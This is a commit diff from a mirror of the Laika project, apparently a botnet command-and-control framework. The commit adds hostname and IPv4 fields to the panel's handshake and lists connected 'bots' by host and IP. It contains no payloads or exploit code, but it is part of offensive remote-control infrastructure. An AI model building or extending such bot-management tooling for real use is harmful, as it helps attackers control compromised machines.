1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-10 09:50:06 +00:00

Added hostname, ip info to handshake

- Panel now lists bots by hostname & ip instead of public key
This commit is contained in:
2022-02-15 16:57:21 -06:00
parent fb71dfb3c3
commit c21be8dfee
12 changed files with 91 additions and 19 deletions

View File

@@ -9,12 +9,13 @@
typedef struct sPanel_bot {
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
PEERTYPE type;
tPanel_listItem *item;
char *name; /* heap allocated string */
} tPanel_bot;
tPanel_bot *panelB_newBot(uint8_t *pubKey);
tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4);
void panelB_freeBot(tPanel_bot *bot);
/* search connected bots by public key */

View File

@@ -23,6 +23,7 @@ void connectToCNC(void *uData) {
panel_botList = panelL_newList();
/* init tabs */
panelL_newListItem(&panel_tabList->list, NULL, "CNC Flags", NULL, NULL);
panelL_newListItem(&panel_tabList->list, panel_botList, "Bot List", NULL, NULL);
panelL_init(&panel_tabList->list);
panelL_init(panel_botList);

View File

@@ -4,15 +4,26 @@
#include "panel.h"
tPanel_bot *panelB_newBot(uint8_t *pubKey) {
tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4) {
tPanel_bot *bot = laikaM_malloc(sizeof(tPanel_bot));
bot->name = laikaM_malloc(256);
sodium_bin2hex(bot->name, 256, pubKey, crypto_kx_PUBLICKEYBYTES);
int length;
/* copy pubKey to bot's pubKey */
memcpy(bot->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
/* copy hostname & ipv4 */
memcpy(bot->hostname, hostname, LAIKA_HOSTNAME_LEN);
memcpy(bot->ipv4, ipv4, LAIKA_IPV4_LEN);
/* restore NULL terminators */
bot->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
bot->ipv4[LAIKA_IPV4_LEN-1] = 0;
/* make bot name */
length = strlen(bot->hostname) + 1 + strlen(bot->ipv4) + 1;
bot->name = laikaM_malloc(length);
sprintf(bot->name, "%s@%s", bot->hostname, bot->ipv4);
return bot;
}

View File

@@ -11,19 +11,24 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
}
void handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
uint8_t type;
/* read newly connected peer's pubKey */
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
/* read hostname & ipv4 */
laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
/* read peer's peerType */
type = laikaS_readByte(&peer->sock);
/* add peer */
switch (type) {
case PEER_BOT: {
tPanel_bot *bot = panelB_newBot(pubKey);
tPanel_bot *bot = panelB_newBot(pubKey, hostname, ipv4);
panelC_addBot(bot);
break;
}
@@ -57,7 +62,7 @@ void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
};
@@ -125,6 +130,10 @@ void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_IPV4_LEN);
laikaS_endOutPacket(client->peer);
laikaS_setSecure(client->peer, true);